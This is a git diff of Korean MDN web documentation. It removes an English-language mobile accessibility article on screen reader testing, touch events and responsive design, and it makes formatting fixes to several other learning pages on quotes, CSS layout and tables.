-The state of accessibility — and support for web standards in general — is good in modern mobile devices. Long gone are the days when mobile devices ran completely different web technologies to desktop browsers, forcing developers to use browser sniffing and serve them completely separate sites (although quite a few companies still detect usage of mobile devices and serve them a separate mobile domain).
-
-These days, mobile devices can usually handle fully-featured websites, and the main platforms even have screenreaders built in to enable visually impaired users to use them successfully. Modern mobile browsers tend to have good support for [WAI-ARIA](/ko/docs/Learn/Accessibility/WAI-ARIA_basics), too.
-
-To make a website accessible and usable on mobile, you just need to follow general good web design and accessibility best practices.
-
-There are some exceptions that need special consideration for mobile; the main ones are:
-
-- Control mechanisms — Make sure interface controls such as buttons are accessible on mobiles (i.e., mainly touchscreen), as well as desktops/laptops (mainly mouse/keyboard).
-- User input — Make user input requirements as painless as possible on mobile (e.g., in forms, keep typing to a minimum).
-- Responsive design — Make sure layouts work on mobile, conserve image download sizes, and think about the provision of images for high-resolution screens.
-
-## Summary of screenreader testing on Android and iOS
-
-The most common mobile platforms have fully functional screen readers. These function in much the same way as desktop screenreaders, except they are largely operated using touch gestures rather than key combinations.
-
-Let's look at the main two: TalkBack on Android and VoiceOver on iOS.
-
-### Android TalkBack
-
-The TalkBack screen reader is built into the Android operating system.
-
-To turn it on, look up what phone model and Android version you have, and then look up where the TalkBack menu is. It tends to differ widely between Android versions and even between different phone models. Some phone manufacturers (e.g. Samsung) don't even have TalkBack in newer phones, and instead opted for their own screen reader.
-
-When you've found the TalkBack menu, press the slider switch to turn TalkBack on. Follow any additional on-screen prompts that you are presented with.
-
-When TalkBack is turned on, your Android device's basic controls will be a bit different. For example:
-
-1. Single-tapping an app will select it, and the device will read out what the app is.
-2. Swiping left and right will move between apps, or buttons/controls if you are in a control bar. The device will read out each option.
-3. Double-tapping anywhere will open the app/select the option.
-4. You can also "explore by touch" — hold your finger down on the screen and drag it around, and your device will read out the different apps/items you move across.
-
-If you want to turn TalkBack off:
-
-1. Navigate back to the TalkBack menu screen (using the different gestures that are currently enabled.)
-2. Navigate to the slider switch and activate it to turn it off.
-
-> **참고:** You can get to your home screen at any time by swiping up and left in a smooth motion. If you have more than one home screen, you can move between them by swiping two fingers left and right.
-
-For a more complete list of TalkBack gestures, see [Use TalkBack gestures](https://support.google.com/accessibility/android/answer/6151827).
-
-#### Unlocking the phone
-
-When TalkBack is turned on, unlocking the phone is a bit different.
-
-You can do a two-finger swipe up from the bottom of the lock screen. If you've set a passcode or pattern for unlocking your device, you will then be taken to the relevant entry screen to enter it.
-
-You can also explore by touch to find the _Unlock_ button at the bottom middle of the screen, and then double-tap.
-
-#### Global and local menus
-
-TalkBack allows you to access global and local context menus, wherever you have navigated to on the device. The former provides global options relating to the device as a whole, and the latter provides options relating just to the current app/screen you are in.
-
-To get to these menus:
-
-1. Access the global menu by quickly swiping down, and then right.
-2. Access the local menu by quickly swiping up, and then right.
-3. Swipe left and right to cycle between the different options.
-4. Once you've selected the option you want, double-click to choose that option.
-
-For details on all the options available under the global and local context menus, see [Use global and local context menus](https://support.google.com/accessibility/android/answer/6007066).
-
-#### Browsing web pages
-
-You can use the local context menu while in a web browser to find options to navigate web pages using just the headings, form controls, or links, or navigate line by line, etc.
-
-For example, with TalkBack turned on:
-
-1. Open your web browser.
-2. Activate the URL bar.
-3. Enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. To enter the text of the URL:
-
-    - Select the URL bar by swiping left/right till you get to it, and then double-tapping.
-    - Hold your finger down on the virtual keyboard until you get the character you want, and then release your finger to type it. Repeat for each character.
-    - Once you've finished, find the Enter key and press it.
-
-4. Swipe left and right to move between different items on the page.
-5. Swipe up and right with a smooth motion to enter the local content menu.
-6. Swipe right until you find the "Headings and Landmarks" option.
-7. Double-tap to select it. Now you'll be able to swipe left and right to move between headings and ARIA landmarks.
-8. To go back to the default mode, enter the local context menu again by swiping up and right, select "Default", and then double-tap to activate.
-
-**Note:** See [Get started on Android with TalkBack](https://support.google.com/accessibility/android/answer/6283677?hl=en&ref_topic=3529932) for more complete documentation.
-
-### iOS VoiceOver
-
-A mobile version of VoiceOver is built into the iOS operating system.
-
-To turn it on, go to Your _Settings_ app and select _Accessibility > VoiceOver_. Press the _VoiceOver_ slider to enable it (you'll also see a number of other options related to VoiceOver on this page).
-
-> **참고:** Some older iOS devices have the VoiceOver menu at _Settings app_ > _General_ > _Accessibility_ > _VoiceOver_.
-
-Once VoiceOver is enabled, iOS's basic control gestures will be a bit different:
-
-1. A single tap will cause the item you tap on to be selected; your device will speak the item you've tapped on.
-2. You can also navigate the items on the screen by swiping left and right to move between them, or by sliding your finger around on the screen to move between different items (when you find the item you want, you can remove your finger to select it).
-3. To activate the selected item (e.g., open a selected app), double-tap anywhere on the screen.
-4. Swipe with three fingers to scroll through a page.
-5. Tap with two fingers to perform a context-relevant action — for example, taking a photo while in the camera app.
-
-To turn it off again, navigate back to _Settings > General > Accessibility > VoiceOver_ using the above gestures, and toggle the _VoiceOver_ slider back to off.
-
-#### Unlock phone
-
-To unlock the phone, you need to press the home button (or swipe) as normal. If you have a passcode set, you can select each number by swiping/sliding (as explained above) and then double-tapping to enter each number when you've found the right one.
-
-#### Using the Rotor
-
-When VoiceOver is turned on, you have a navigation feature called the Rotor available to you, which allows you to quickly choose from a number of common useful options. To use it:
-
-1. Twist two fingers around on the screen like you are turning a dial. Each option will be read aloud as you twist further around. You can go back and forth to cycle through the options.
-2. Once you've found the option you want:
-
-    - Release your fingers to select it.
-    - If it is an option you can iterate the value of (such as Volume or Speaking Rate), you can do a swipe up or down to increase or decrease the value of the selected item.
-
-The options available under the Rotor are context-sensitive — they will differ depending on what app or view you are in (see below for an example).
-
-#### Browsing web pages
-
-Let's have a go at web browsing with VoiceOver:
-
-1. Open your web browser.
-2. Activate the URL bar.
-3. Enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. To enter the text of the URL:
-
-    - Select the URL bar by swiping left/right until you get to it, and then double-tapping.
-    - For each character, hold your finger down on the virtual keyboard until you get the character you want, and then release your finger to select it. Double-tap to type it.
-    - Once you've finished, find the Enter key and press it.
-
-4. Swipe left and right to move between items on the page. You can double-tap an item to select it (e.g., follow a link).
-5. By default, the selected Rotor option will be Speaking Rate; you can currently swipe up and down to increase or decrease the speaking rate.
-6. Now turn two fingers around the screen like a dial to show the rotor and move between its options. Here are a few examples of the options available:
-
-    - _Speaking Rate_: Change the speaking rate.
-    - _Containers_: Move between different semantic containers on the page.
-    - _Headings_: Move between headings on the page.
-    - _Links_: Move between links on the page.
-    - _Form Controls_: Move between form controls on the page.
-    - _Language_: Move between different translations, if they are available.
-
-7. Select _Headings_. Now you'll be able to swipe up and down to move between headings on the page.
-
-**Note:** For a more complete reference covering the VoiceOver gestures available and other hints on accessibility testing on iOS, see [Test Accessibility on Your Device with VoiceOver](https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3).
-
-## Control mechanisms
-
-In our CSS and JavaScript accessibility article, we looked at the idea of events that are specific to a certain type of control mechanism (see [Mouse-specific events](/ko/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events)). To recap, these cause accessibility issues because other control mechanisms can't activate the associated functionality.
-
-As an example, the [click](/ko/docs/Web/API/GlobalEventHandlers/onclick) event is good in terms of accessibility — an associated event handler can be invoked by clicking the element the handler is set on, tabbing to it and pressing Enter/Return, or tapping it on a touchscreen device. Try our [simple-button-example.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html) example ([see it running live](http://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html)) to see what we mean.
-
-Alternatively, mouse-specific events such as [mousedown](/ko/docs/Web/API/GlobalEventHandlers/onmousedown) and [mouseup](/ko/docs/Web/API/GlobalEventHandlers/onmouseup) create problems — their event handlers cannot be invoked using non-mouse controls.
-
-If you try to control our [simple-box-drag.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html) ([see example live](http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html)) example with a keyboard or touch, you'll see the problem. This occurs because we are using code such as the following:
-
-```
-div.onmousedown = function() {
-  initialBoxX = div.offsetLeft;
-  initialBoxY = div.offsetTop;
-  movePanel();
-}
-
-document.onmouseup = stopMove;
-```
-
-To enable other forms of control, you need to use different, yet equivalent events — for example, touch events work on touchscreen devices:
-
-```
-div.ontouchstart = function(e) {
-  initialBoxX = div.offsetLeft;
-  initialBoxY = div.offsetTop;
-  positionHandler(e);
-  movePanel();
-}
-
-panel.ontouchend = stopMove;
-```
-
-We've provided a simple example that shows how to use the mouse and touch events together — see [multi-control-box-drag.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html) ([see the example live](http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html) also).
-
-> **참고:** You can also see fully functional examples showing how to implement different control mechanisms at [Implementing game control mechanisms](/ko/docs/Games/Techniques/Control_mechanisms).
-
-## Responsive design
-
-[Responsive design](/ko/docs/Web/Apps/Progressive/Responsive) is the practice of making your layouts and other features of your apps dynamically change depending on factors such as screen size and resolution, so they are usable and accessible to users of different device types.
-
-In particular, the most common problems that need to be addressed for mobile are:
-
-- Suitability of layouts for mobile devices. A multi-column layout won't work as well on a narrow screen, for example, and the text size may need to be increased so it is legible. Such issues can be solved by creating a responsive layout using technologies such as [media queries](/ko/docs/Web/CSS/Media_Queries), [viewport](/ko/docs/Mozilla/Mobile/Viewport_meta_tag), and [flexbox](/ko/docs/Learn/CSS/CSS_layout/Flexbox).
-- Conserving image sizes downloaded. In general, small screen devices won't need images that are as large as their desktop counterparts, and they are more likely to be on slow network connections. Therefore, it is wise to serve smaller images to narrow screen devices as appropriate. You can handle this using [responsive image techniques](/ko/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images).
-- Thinking about high resolutions. Many mobile devices have high-resolution screens, and therefore need higher-resolution images so that the display can continue to look crisp and sharp. Again, you can serve images as appropriate using responsive image techniques. In addition, many image requirements can be fulfilled using the SVG vector images format, which is well-supported across browsers today. SVG has a small file size and will stay sharp regardless of whatever size is being displayed (see [Adding vector graphics to the web](/ko/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) for more details).
-
-**Note:** We won't provide a full discussion of responsive design techniques here, as they are covered in other places around MDN (see above links).
-
-### Specific mobile considerations
-
-There are other important issues to consider when making sites more accessible on mobile. We have listed a couple here, but we will add more when we think of them.
-
-#### Not disabling zoom
-
-Using [viewport](/ko/docs/Mozilla/Mobile/Viewport_meta_tag), it is possible to disable zoom. Always ensure resizing is enabled, and set the width to the device's width in the {{htmlelement("head")}}:
-
-```html
-<meta name="viewport" content="width=device-width; user-scalable=yes">
-```
-
-You should never set `user-scalable=no` if at all possible — many people rely on zoom to be able to see the content of your website, so taking this functionality away is a really bad idea. There are certain situations where zooming might break the UI; in such cases, if you feel that you absolutely need to disable zoom, you should provide some other kind of equivalent, such as a control for increasing the text size in a way that doesn't break your UI.
-
-#### Keeping menus accessible
-
-Because the screen is so much narrower on mobile devices, it is very common to use media queries and other technologies to make the navigation menu shrink down to a tiny icon at the top of the display — which can be pressed to reveal the menu only if it's needed — when the site is viewed on mobile. This is commonly represented by a "three horizontal lines" icon, and the design pattern is consequently known as a "hamburger menu".
-
-When implementing such a menu, you need to make sure that the control to reveal it is accessible by appropriate control mechanisms (normally touch for mobile), as discussed in [Control mechanisms](#control_mechanisms) above, and that the rest of the page is moved out of the way or hidden in some way while the menu is being accessed, to avoid confusion with navigating it.
-
-Click here for a [good hamburger menu example](http://fritz-weisshart.de/meg_men/).
-
-## User input
-
-On mobile devices, inputting data tends to be more annoying for users than the equivalent experience on desktop computers. It is more convenient to type text into form inputs using a desktop or laptop keyboard than a touchscreen virtual keyboard or a tiny mobile physical keyboard.
-
-For this reason, it is worth trying to minimize the amount of typing needed. As an example, instead of getting users to fill out their job title each time using a regular text input, you could instead offer a {{htmlelement("select")}} menu containing the most common options (which also helps with consistency in data entry), and offer an "Other" option that displays a text field to type any outliers into. You can see a simple example of this idea in action in [common-job-types.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html) (see the [common jobs example live](http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html)).
-
-It is also worth considering the use of HTML5 form input types such as the date on mobile platforms as they handle them well — both Android and iOS, for example, display usable widgets that fit well with the device experience. See [html5-form-examples.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html) for some examples (see the [HTML5 form examples live](http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html)) — try loading these and manipulating them on mobile devices. For example:
-
-- Types `number`, `tel`, and `email` display suitable virtual keyboards for entering numbers/telephone numbers.
-- Types `time` and `date` display suitable pickers for selecting times and dates.
-
-If you want to provide a different solution for desktops, you could always serve different markup to your mobile devices using feature detection. See [input types](http://diveinto.html5doctor.com/detect.html#input-types) for raw information on detecting different input types, and also check out our [feature detection article](/ko/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) for much more information.
-
-## Summary
-
-In this article, we have provided you with some details about common mobile accessibility-specific issues and how to overcome them. We also took you through the usage of the most common screenreaders to aid you in accessibility testing.
-
-## See also
-
-- [Guidelines For Mobile Web Development](https://www.smashingmagazine.com/guidelines-for-mobile-web-development/) — A list of articles in _Smashing Magazine_ covering different techniques for mobile web design.
-- [Make your site work on touch devices](http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644) — Useful article about using touch events to get interactions working on mobile devices.
-
-{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}
diff --git a/files/ko/learn/accessibility/what_is_accessibility/index.md b/files/ko/learn/accessibility/what_is_accessibility/index.md
index 095953c1e4322e..eaed31f92bc9ed 100644
--- a/files/ko/learn/accessibility/what_is_accessibility/index.md
+++ b/files/ko/learn/accessibility/what_is_accessibility/index.md
@@ -110,7 +110,7 @@ l10n:
 
 ## 프로젝트에 접근성 구현하기
 
-실제 프로젝트 구현 단계에서 접근성은 “비싼 추가 사항”으로 간주되는 경우가 많은데, 아래와 같은 경우에는 사실이 될 수 있습니다.
+실제 프로젝트 구현 단계에서 접근성은 "비싼 추가 사항"으로 간주되는 경우가 많은데, 아래와 같은 경우에는 사실이 될 수 있습니다.
 
 - 심각한 접근성 이슈가 있는 기존의 웹 사이트에 접근성을 추가하며 개조하려고 하는 경우
 - 프로젝트가 한참 진행된 뒤에야 접근성을 고려하며 관련된 이슈들을 발견한 경우
@@ -125,7 +125,7 @@ l10n:
 
 접근성을 위한 작업이 필요한 잠재적 문제 영역에 대해 기록하고, 철저하게 테스팅 될 수 있도록 하며 해결 방안과 대안을 생각해야 합니다. 텍스트 콘텐츠는 (다음 아티클에서 살펴볼 것처럼) 쉬운 편이지만, 멀티미디어 콘텐츠나 최신 3D 기술로 만들어진 그래픽들은 어떻게 해야할까요? 프로젝트 예산을 고려해 이런 콘텐츠들을 접근성 있게 만들기 위해서 어떤 일을 할 수 있는지 생각해보세요. 비용은 많이 들겠지만 모든 멀티미디어에 대해 다른 형태의 기록, 음성 등을 제공하는 것도 가능합니다.
 
-동시에 현실적으로 생각하세요. “100% 접근성"은 실현 불가능한 이상입니다. 언제나 예외가 존재하고 어떤 사용자는 어떤 콘텐츠를 사용하기 어렵다고 느낄 것입니다. 하지만 할 수 있는 만큼 노력해야 합니다. 만약 WebGL을 사용해 멋진 3D 파이 차트 그래픽을 만들 계획이라면, 같은 데이터에 대한 데이터 테이블을 접근성 있는 형태로 포함할 수 있습니다. 또는 3D 파이 차트를 테이블로 대체할 수도 있겠습니다. 테이블은 모두에게 접근성 있으며, 더 빠르게 개발 가능하고, CPU 집약적이지도 않으며 유지보수도 더 쉽습니다.
+동시에 현실적으로 생각하세요. "100% 접근성"은 실현 불가능한 이상입니다. 언제나 예외가 존재하고 어떤 사용자는 어떤 콘텐츠를 사용하기 어렵다고 느낄 것입니다. 하지만 할 수 있는 만큼 노력해야 합니다. 만약 WebGL을 사용해 멋진 3D 파이 차트 그래픽을 만들 계획이라면, 같은 데이터에 대한 데이터 테이블을 접근성 있는 형태로 포함할 수 있습니다. 또는 3D 파이 차트를 테이블로 대체할 수도 있겠습니다. 테이블은 모두에게 접근성 있으며, 더 빠르게 개발 가능하고, CPU 집약적이지도 않으며 유지보수도 더 쉽습니다.
 
 반면에 흥미로운 3D 아트를 전시하는 갤러리 웹사이트를 작업하고 있다면, 모든 작품이 전적으로 시각적인 매체이므로 시각 장애인에게 완벽한 접근성을 제공하기는 어려울 것입니다.
 
diff --git a/files/ko/learn/common_questions/tools_and_setup/checking_that_your_web_site_is_working_properly/index.md b/files/ko/learn/common_questions/tools_and_setup/checking_that_your_web_site_is_working_properly/index.md
index 0560cea75f8994..16ab5b3b72b4d1 100644
--- a/files/ko/learn/common_questions/tools_and_setup/checking_that_your_web_site_is_working_properly/index.md
+++ b/files/ko/learn/common_questions/tools_and_setup/checking_that_your_web_site_is_working_properly/index.md
@@ -47,7 +47,7 @@ _There is no active learning available yet. [Please, consider contributing](/ko/
 
 우리의 개인 사이트를 봅시다.(동작x), `http://demozilla.examplehostingprovider.net/`. It's not showing the image we expected!
 
-![Oops, the ‘unicorn’ image is missing](image-missing.png)
+![Oops, the 'unicorn' image is missing](image-missing.png)
 
 Open Firefox's Network tool (**Tools ➤ Web Developer ➤ Network**) and reload the page:
 
@@ -86,7 +86,7 @@ So what went wrong?
 
 At first glance, the image we asked for seems to be in the right place... but the Network tool reported a "404". It turns out that we made a typo in our HTML code: `unicorn_pics.png` rather than `unicorn_pic.png`. So correct the typo in your code editor by changing the image's `src` attribute:
 
-![Deleting the ‘s’](code-correct.png)
+![Deleting the 's'](code-correct.png)
 
 Save, [push to the server](/en-US/Learn/Upload_files_to_a_web_server), and reload the page in your browser:
 
@@ -105,7 +105,7 @@ The most frequent errors that we find are these:
 
 #### Typos in the address
 
-We wanted to type `http://demozilla.examplehostingprovider.net/` but typed too fast and forgot an “l”:
+We wanted to type `http://demozilla.examplehostingprovider.net/` but typed too fast and forgot an "l":
 
 ![Address unreachable](cannot-find-server.png)
 
@@ -154,7 +154,7 @@ PING mozilla.org (63.245.215.20): 56 data bytes
 round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms
 ```
 
-Just keep in mind a handy keyboard shortcut: **Ctrl+C**. Ctrl+C sends an “interrupt” signal to the runtime and tells it to stop. If you don't stop the runtime, `ping` will ping the server indefinitely.
+Just keep in mind a handy keyboard shortcut: **Ctrl+C**. Ctrl+C sends an "interrupt" signal to the runtime and tells it to stop. If you don't stop the runtime, `ping` will ping the server indefinitely.
 
 ### A simple checklist
 
diff --git a/files/ko/learn/common_questions/tools_and_setup/upload_files_to_a_web_server/index.md b/files/ko/learn/common_questions/tools_and_setup/upload_files_to_a_web_server/index.md
index 16a292b0363aa6..18d6df9508fd6b 100644
--- a/files/ko/learn/common_questions/tools_and_setup/upload_files_to_a_web_server/index.md
+++ b/files/ko/learn/common_questions/tools_and_setup/upload_files_to_a_web_server/index.md
@@ -85,7 +85,7 @@ To publish to this account, please connect through FTP with the following creden
 
 ![Our demozilla personal website, seen in a browser: it's empty](demozilla-empty.png)
 
-> **참고:** 보이는 화면은 여러분의 호스팅 제공자에 따라 다릅니다. 대부분은 “This website is hosted by \[Hosting Service].”과 같은 페이지를 보게될 것입니다.
+> **참고:** 보이는 화면은 여러분의 호스팅 제공자에 따라 다릅니다. 대부분은 "This website is hosted by \[Hosting Service]."과 같은 페이지를 보게될 것입니다.
 
 이제 우리의 FTP 클라이언트를 멀리 떨어진 서버에 접속하기 위해 _"Create an account..." 버튼을 누릅니다._ 그리고 호스팅제공자로 부터 받은 정보를 해당 필드에 채워줍니다.
 
diff --git a/files/ko/learn/common_questions/web_mechanics/pages_sites_servers_and_search_engines/index.md b/files/ko/learn/common_questions/web_mechanics/pages_sites_servers_and_search_engines/index.md
index 46046eedfa0c5f..ae53414f9ccf60 100644
--- a/files/ko/learn/common_questions/web_mechanics/pages_sites_servers_and_search_engines/index.md
+++ b/files/ko/learn/common_questions/web_mechanics/pages_sites_servers_and_search_engines/index.md
@@ -84,7 +84,7 @@ _웹 페이지_ 와 _웹사이트 에 대한 생각은_ 특히 하나의*웹 페
 
 ### 웹 서버
 
-##### *웹 서버*는 한 개 이상의 *웹사이트*를 호스팅하는 컴퓨터입니다. "호스팅"은 모든 _웹 페이지_ 및 웹 페이지가 지원하는 파일들을 컴퓨터에서 이용할 수 있다는 것을 의미한다. *웹 서버*는 유저의 request(요청)마다 호스팅하는 *웹사이트*에서 유저의 브라우저로 *웹 페이지*를 보낼 것이다.
+##### *웹 서버*는 한 개 이상의 *웹사이트*를 호스팅하는 컴퓨터입니다. "호스팅"은 모든 _웹 페이지_ 및 웹 페이지가 지원하는 파일들을 컴퓨터에서 이용할 수 있다는 것을 의미한다. *웹 서버*는 유저의 request(요청)마다 호스팅하는 *웹사이트*에서 유저의 브라우저로 *웹 페이지*를 보낼 것이다
 
 *웹 사이트*와 *웹 서버*를 혼동하지 마라. 예를 들어, 당신이 누군가 "내 웹사이트가 반응하지 않는다." 라고 말하는 것을 들었다면, 그것은 사실 *웹 서버*가 반응하지 않는다는 의미이다. 그러므로 *웹사이트*를 이용하지 못 한다. 더 중요하게, *웹 서버*는 여러 웹사이트에 호스팅될 수 있기 때문에, 웹 서버라는 용어는 절대 웹사이트를 지정하기 위해 사용하지 않는다. 그것이 큰 혼란을 일으킬 수 있기 때문이다. 아까의 예처럼, 만약 우리가 "내 웹 서버가 반응하지 않는다." 라고 하면, 그것은 웹 서버가 이용할 수 있는 웹 사이트가 없다는 것을 의미한다.
 
diff --git a/files/ko/learn/common_questions/web_mechanics/what_is_a_domain_name/index.md b/files/ko/learn/common_questions/web_mechanics/what_is_a_domain_name/index.md
index 0d915096660839..f12afb46db0ba3 100644
--- a/files/ko/learn/common_questions/web_mechanics/what_is_a_domain_name/index.md
+++ b/files/ko/learn/common_questions/web_mechanics/what_is_a_domain_name/index.md
@@ -59,7 +59,7 @@ _아직 이용가능한 Active Learning이 없습니다. [Please, consider contr
 
 #### 누가 도메인 이름을 갖고 있나요?
 
-You cannot “buy a domain name”. You pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name.
+You cannot "buy a domain name". You pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name.
 
 Companies called registrars use domain name registries to keep track of technical and administrative information connecting you to your domain name.
 
@@ -69,7 +69,7 @@ Companies called registrars use domain name registries to keep track of technica
 
 To find out whether a given domain name is available,
 
-- Go to a domain name registrar's website. Most of them provide a “whois” service that tells you whether a domain name is available.
+- Go to a domain name registrar's website. Most of them provide a "whois" service that tells you whether a domain name is available.
 - Alternatively, if you use a system with a built-in shell, type a `whois` command into it, as shown here for `mozilla.org`:
 
 ```
@@ -113,7 +113,7 @@ NOT FOUND
 과정은 다음과 같습니다.
 
 1. 등록 웹사이트로 가세요.
-2. 일반적으로 눈에 띄게 “Get a domain name” 이라는 글자가 있을거에요. 클릭하세요.
+2. 일반적으로 눈에 띄게 "Get a domain name" 이라는 글자가 있을거에요. 클릭하세요.
 3. 요구하는 상세 정보를 채우세요. 그리고 특별히 원하는 도메인 네임의 스펠링을 정확하게 입력했는지 다시한번 확인해주세요. 한번 지불하면 돌이킬 수 없습니다.
 4. 등록이 잘 되었다면 등록 웹사이트에서 연락이 올 것입니다. 그리고 몇시간내로 모든 DNS 서버들이 당신의 DNS 정보를 받을거구요.
 
@@ -121,7 +121,7 @@ NOT FOUND
 
 #### DNS 갱신
 
-DNS databases are stored on every DNS server worldwide, and all these servers refer to a few ones called “authoritative name server” or “top-level DNS servers.” Whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every DNS database. Each DNS server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the DNS server queries an authoritative server again). Thus, it takes some time for DNS servers that know about this domain name to get the up-to-date information.
+DNS databases are stored on every DNS server worldwide, and all these servers refer to a few ones called "authoritative name server" or "top-level DNS servers." Whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every DNS database. Each DNS server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the DNS server queries an authoritative server again). Thus, it takes some time for DNS servers that know about this domain name to get the up-to-date information.
 
 > **참고:** **Note :** This time is often called **propagation time**. However this term is not precise since the update is not propagating itself (top → down). DNS servers queried by your computer (down) are the ones that fetch the information from the authoritative server (top) when they need it.
 
diff --git a/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.md b/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.md
index 88e287d43edcc2..a74e3a526a8a37 100644
--- a/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.md
+++ b/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.md
@@ -45,8 +45,14 @@ CSS {{cssxref("background")}} 속성은 이 수업에서 만나게 될 많은 ba
 
 ```css
 .box {
-  background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat,
-  url(big-star.png) center no-repeat, rebeccapurple;
+  background:
+    linear-gradient(
+        105deg,
+        rgba(255, 255, 255, 0.2) 39%,
+        rgba(51, 56, 57, 1) 96%
+      ) center center / 400px 200px no-repeat,
+    url(big-star.png) center no-repeat,
+    rebeccapurple;
 }
 ```
 
@@ -179,9 +185,12 @@ CSS {{cssxref("background")}} 속성은 이 수업에서 만나게 될 많은 ba
 다른 `background-*` 속성은 `background-image` 와 같은 방식으로 쉼표로 구분된 값을 가질 수도 있습니다:
 
 ```css
-background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png);
+background-image: url(image1.png), url(image2.png), url(image3.png),
+  url(image1.png);
 background-repeat: no-repeat, repeat-x, repeat;
-background-position: 10px 20px,  top right;
+background-position:
+  10px 20px,
+  top right;
 ```
 
 다른 속성의 각 값은 다른 속성의 같은 위치에 있는 값과 일치합니다. 예를 들어, `image1` 의 `background-repeat` 값은 `no-repeat` 입니다. 그러나, 다른 속성의 값이 다른 경우 어떻게 됩니까? 답은 더 적은 수의 값이 순환한다는 것입니다 — 위의 예에서는 4 개의 배경 이미지가 있지만 2 개의 `background-position` 값만 있습니다. 처음 두 위치 값은 처음 두 이미지에 적용되고 다시 순환됩니다 — `image3` 에는 첫 번째 위치값이 제공되고, `image4` 에는 두 번째 위치값이 제공됩니다.
diff --git a/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.md b/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.md
index 20c3c9012b9cc7..df0d3cc399f7bf 100644
--- a/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.md
+++ b/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.md
@@ -2,6 +2,7 @@
 title: 계단식 및 상속
 slug: Learn/CSS/Building_blocks/Cascade_and_inheritance
 ---
+
 {{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}
 
 이 수업의 목적은 CSS 가 HTML 에 적용되는 방법과 충돌을 해결하는 방법을 제어하는 CSS 의 가장 기본적인 개념인 — 계단식, 우선 순위 및 상속 — 에 대한 이해를 발전시키는 것입니다.
@@ -175,12 +176,12 @@ CSS 속기 속성을 `all` 로 사용하면 이러한 상속 값 중 하나를 (
 
 다음 표는 기분을 전환하기 위해 몇 가지 분리된 예를 보여줍니다. 이것들을 살펴보고 왜 그들이 우리에게 그들에게 주어진 우선 순위를 가지고 있는지 이해하도록 하십시오. 선택자는 아직 자세히 다루지 않았지만, MDN [선택자 참조](/ko/docs/Web/CSS/CSS_Selectors) 에서 각 선택자의 세부 정보를 찾을 수 있습니다.
 
-| 선택자                                                                          | Thousands | Hundreds | Tens | Ones | Total specificity |
-| ------------------------------------------------------------------------------- | --------- | -------- | ---- | ---- | ----------------- |
-| `h1`                                                                            | 0         | 0        | 0    | 1    | 0001              |
-| `h1 + p::first-letter`                                                          | 0         | 0        | 0    | 3    | 0003              |
-| `li > a[href*="en-US"] > .inline-warning`                                       | 0         | 0        | 2    | 2    | 0022              |
-| `#identifier`                                                                   | 0         | 1        | 0    | 0    | 0100              |
+| 선택자                                                                   | Thousands | Hundreds | Tens | Ones | Total specificity |
+| ------------------------------------------------------------------------ | --------- | -------- | ---- | ---- | ----------------- |
+| `h1`                                                                     | 0         | 0        | 0    | 1    | 0001              |
+| `h1 + p::first-letter`                                                   | 0         | 0        | 0    | 3    | 0003              |
+| `li > a[href*="en-US"] > .inline-warning`                                | 0         | 0        | 2    | 2    | 0022              |
+| `#identifier`                                                            | 0         | 1        | 0    | 0    | 0100              |
 | 요소의 {{htmlattrxref("style")}} 속성 안에 규칙이 있는 선택자가 없습니다 | 1         | 0        | 0    | 0    | 1000              |
 
 계속 진행하기 전에, 실제 사례를 살펴보겠습니다.
diff --git a/files/ko/learn/css/building_blocks/handling_different_text_directions/index.md b/files/ko/learn/css/building_blocks/handling_different_text_directions/index.md
index 7e4e8caf0be70d..8c71322471a838 100644
--- a/files/ko/learn/css/building_blocks/handling_different_text_directions/index.md
+++ b/files/ko/learn/css/building_blocks/handling_different_text_directions/index.md
@@ -1,7 +1,6 @@
 ---
 title: 텍스트 표시 방향 제어하기
 slug: Learn/CSS/Building_blocks/Handling_different_text_directions
-
 ---
 
 {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
@@ -80,7 +79,7 @@ CSS 레이아웃, 특히 최신 레이아웃 방법을 살펴보기 시작하면
 
